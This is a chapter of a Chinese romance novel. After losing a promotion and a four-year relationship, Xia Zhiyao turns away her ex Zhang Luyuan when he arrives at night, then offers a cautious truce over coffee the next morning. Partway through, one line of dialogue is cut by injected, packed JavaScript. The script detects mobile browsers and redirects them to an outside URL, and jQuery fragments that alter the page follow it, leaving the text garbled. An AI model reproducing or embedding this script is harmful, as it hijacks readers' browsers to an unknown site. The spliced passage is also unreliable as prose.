夜色压城，城市的灯光像一盏盏早已习惯不等人的灯塔，亮着，却不指引归途。
夏知遥坐在车里，方向盘冰冷，指尖攥着皮革时几乎感受不到温度。她没开音乐，车内只剩下引擎低低的轰鸣声与轮胎与地面的摩擦声，像深夜里压着喉咙的叹息。
她把车开得很稳，连红绿灯都没有闯过，像是在用最后的力气维持那点体面。
窗外街道两旁的商铺已经关门，霓虹牌闪着微弱的光，一路驶过，空荡荡的街道映在她的眼底，像这一天被抽空后的自己。
她右转进小区，车停稳的一刻，她双手仍扣在方向盘上，没有动。
她仰头靠着椅背，闭了闭眼，喉咙干涩得像吞下一块铁皮。那句“我今天真的很累”明明在心头翻滚，却连声音都发不出来。
那一瞬间，她忽然很想拨一个电话，哪怕只是说一句：“我现在特别不顺。”可翻了半天微信，指尖停留在“周越”上几秒，又默默滑过去。
他不该卷进她这一团又一团看不见底的风暴。
最后，她什么也没做，只是推开车门，下车。
高跟鞋踩在空旷的地面，发出“哒、哒、哒”的清响，每一步都像敲在心口，回音悠长，却无从回应。
电梯镜子里倒映出她疲惫却一丝不乱的样子，妆没花，发丝规整，仿佛刚从会议室出来。她盯着镜中的自己看了几秒，忽然低头笑了一下，笑意苦涩又冷淡，说不清是在自嘲，还是在自怜。
回到家，屋里漆黑一片，她没开灯，鞋子一脱就扔在门边，整个人瘫坐在沙发上，一动不动。
这一晚，她放弃了一段四年暗夜里维系的关系，终结了一场无望的等待，她也亲眼看着本该属于自己的晋升，在职场政治的刀光剑影里，悄无声息地变得遥不可及。
可她连哭都哭不出来，好像整个人都失去了控制，连情绪崩溃的机制都生锈了。
她知道自己不能倒，她早就把自己锁进一个叫“高效、坚强、无懈可击”的壳子里太久太久了。
可此刻，那层壳像极了一副冰冷的铠甲，沉重、锋利，却不能卸掉，卸掉就会失去战斗的能力，万箭穿心。
她坐在沙发里，双腿并拢，背脊挺直，手里抱着一个浅灰色靠垫，像是只需要这样紧紧抱着，就不会散架。
电视屏幕上闪过新闻片段，又切换成一部她根本没注意片名的剧集，半小时过去，画面不断切换，她却一动未动。
窗外的风吹得树枝轻响，雨水顺着窗台滑落，滴滴答答，仿佛在滴答地提醒她：“你今天失去了很多。”
她刚要关灯，却忽然听见玄关传来细微的“滴滴”声。她的动作顿住了。
下一秒，门被缓缓推开，章路远站在那里，黑色的西装裹着他高大挺拔的身形，外套被夜雨打湿，领口微敞，眉眼之间裹着风雨的疲惫与失控。
“你怎么……”她下意识开口，声音略哑，眉间微蹙，“你怎么还记得密码？”
“我从来没忘。”他声音低哑，眼神却极其清醒，“只是以前不敢用。”
话音未落，他已一步迈入，夜风裹着他身上的凉意扑面而来，下一刻，他上前一步，突如其来地将她紧紧抱进怀里。
“知遥，”他的声音低到近乎呢喃，却颤得几乎破碎，“求你……别离开我。”
他的手紧紧扣在她背上，力道像是要把她整个人揉进骨血，害怕再松手，她就会再也不见。
她整个人一下僵在他怀里，没有推开，也没有回应，只站在那里，好似全身都被冰封。浴后湿润的身体贴着他带着风雨的衬衫，冷与热的温差在肌肤之间交汇。
灯光洒在她的侧脸上，那张素净的脸平静得过分，眼神却空了一瞬。没有泪水，也没有震惊，仿佛她早已预知这一刻，只是静静地站着，等他完成这一次毫无分寸的恳求。
沉默在房间里凝固了许久。
章路远的呼吸渐渐平稳下来，他像是终于从那股崩溃的情绪中挣脱出来，却仍没有松开她，只是低下头，将下巴抵在她湿润的发丝间。
“我知道你那边的事了。”他的声音低哑，像是从胸腔深处逼出来的，“我听沈总说了，项目出了问题……你被牵进去了，是吗？”
夏知遥没有动，那一瞬，她的睫毛轻轻颤了颤，却还是没开口。
章路远像是读懂了她的沉默，语气更低了一层：“你是最不可能出纰漏的人，夏知遥。我了解你。”
她终于有了动作，缓缓抬头，目光平静得近乎冷淡：“可偏偏，还是出事了。”
“知遥……”他像是想靠近一步，又像怕她退开，声音压得很低，“你受了那么多委屈，为什么从来没和我说一句？”
她静静地望着他，眼神里没有波澜，只有沉着的锋锐：“我没跟你说过吗？我怎么记得我说过的，只是你根本不在意，我说了也没有用，索性就不想再说了。”
章路远怔住，像是被这句话哽住了喉咙。
“四年了，章路远。”她酝酿了很久，想用最不在意的语气说出来，“你在你的世界里过得光鲜体面，而我呢？我在你能偶尔瞥见的缝隙里苟着，什么都不求，只求你别离开我。”
她顿了顿，像是给自己也留一口气：“可我现在发现了，你从来就不属于我。”
她的手从他怀里缓缓抽出，指节分明的手指一根一根地掰开他的：“所以现在，不要装作你回头，是为了我好。”
她盯着他，声音不高，却如刀落地：“是我彻底没办法再信你了。”说完这句话，她像是被抽光了力气，站在那里，却比刚才更清醒。
她走到茶几前，拿起遥控器，关掉电视，冷光一下熄灭，屋子安静得仿佛能听见心跳，背对着他说：“你走吧。今晚我太累了，不想再应付你。”
章路远忽然开口：“别赶我走，我不是来吵架的。我是真的……想帮你。”
“帮我？”她轻轻笑了一声，那笑听起来不尖锐，反而太平静，像是疲惫之后的一点讥讽，“你什么时候开始，对我的工作这么关心了？”
“我知道你现在的项目出问题了，”他语气急促了一点，“这事不小，那批数据一旦坐实是你泄露的……”
“你以为我不知道？”她猛地回头，眼神锋利得像一把隐忍太久的刀，“你是不是还以为我像以前一样，等着你来提醒我会输，会倒，会被踩下去？”
“我不是这个意思。”他声音紧绷，几乎要咬碎后槽牙，“我是说，只要你开口，我可以帮你找人……就算只是暂时压一压，也能让你缓口气。”
“你觉得我一个人撑不住？”她像听见一个笑话，唇角却没带笑意，反而透着几分荒凉，“章路远，我夏知遥走到今天，哪一步，是靠你的？”
章路远张了张嘴，却没能发出一个字。
“我早就不指望你了。”她的声音低，却越发冷，“从那个案子我一个人扛下来开始，从我一个人撑过所有质疑开始，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977823|177885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从你一次次说我很忙、这事我参与太敏感、等我空下来开始，我就明白了。”
她看着他，一字一顿：“你从来都不是那个我能依靠的人。你只是在你方便的时候靠近，在我狼狈的时候退得干干净净。”
这句话落地的那一刻，他的脸色瞬间失了血色，像是被一刀扎进了最软的一处。沉默堵住了喉咙，他张了张口，却连一句辩解都找不到。
夏知遥静静看着他，眼神一寸一寸地收紧，终于低声开口：“那你现在来，是为什么？”
她字字像针，“是良心发现？还是觉得我可怜？”她轻笑了一下，笑意薄得近乎冷意，“哦，我知道了，是因为我这次真的要走了，所以你又故技重施了。”
她抬眼看他，眼神带着一种彻底看透的冷，“装作若无其事也好，装可怜也好，只要能把我哄回来，你什么都敢试一试。”
章路远咬紧了牙，嗓音低哑而急切：“我是真的在担心你。”
“可我不需要你这种担心。”她几乎是立刻打断了他，声音清冷如刀锋划破水面，“太迟了，章路远。”
她转身，脚步毫不停顿地朝卧室走去，背影像拉上了一道门，她低声，却清晰地道出最后一句：“我不想再等了，等一个没有结果的未来。”
夏知遥醒得很早，可能是昨晚太累，也可能是习惯了浅眠，她躺在床上愣了几秒，脑子里空荡荡的，一时甚至忘了昨晚发生了什么。
直到她披走出卧室，脚步踩在实木地板上发出轻微的声响，她的视线落在了客厅。
沙发上，章路远侧身蜷着，身形高大却被那张不够长度的沙发逼得缩成一团，整个人看起来别扭又憋屈。他的西装外套胡乱搭在椅背上，衬衫领口松开几粒扣子，袖子还卷到手肘，手腕压在脑后。
沙发上的毛毯，被他半遮半盖地拽在身上，盖不住肩膀，也捂不热脚踝。他斜靠着沙发靠背，脖子微微歪着，像是一整夜没换过姿势，肌肉早已僵硬。
一只手垂落在沙发边缘，手掌微张，指节泛白，仿佛在不自觉中等待一个本就不会落下的回应，那副模样，不是熟睡，而更像是一种疲惫到极致后的昏沉。
那一刻，她站在原地，看着他。
天色一点点亮起来，屋内越来越明，沙发上的人却依旧没有醒，他的眉头轻蹙，脸色不见倦容，倒是透着一种说不清的疲惫与……脆弱。
她忽然想起很多年前，也是这样一个早上。
那时他出差回国，时差没倒过来，累得在她睡了一夜，她早起看到他睡得不踏实的样子，心软得一塌糊涂。那时候的她以为，只要他愿意靠近一步，她就可以等。
咖啡香气飘散开时，章路远醒了。
他坐起身，揉了揉太阳穴，一抬眼，就看见厨房里她，站在水汽缭绕里，眉眼还带着清晨的倦意。
她转身，将咖啡倒入杯中，递过来，没有多余的言语，只是轻声道一句：“喝吧。”
他怔了怔，接过那杯咖啡，仿佛那温热的杯壁里藏着一场难以言说的和解，“……谢谢。”他嗓音沙哑，却出奇诚恳。
夏知遥没看他，坐到餐桌边，打开平板，片刻后，她淡淡地说了句：“别误会。我没打算原谅你。”
章路远指节收紧，但她接下来的话又让他眼底悄悄泛起一点亮意。
“只是……不想再吵了。”
她语气依旧冷静，但眼神却没那么冷了，她没有再推开他，也没有逼他离开。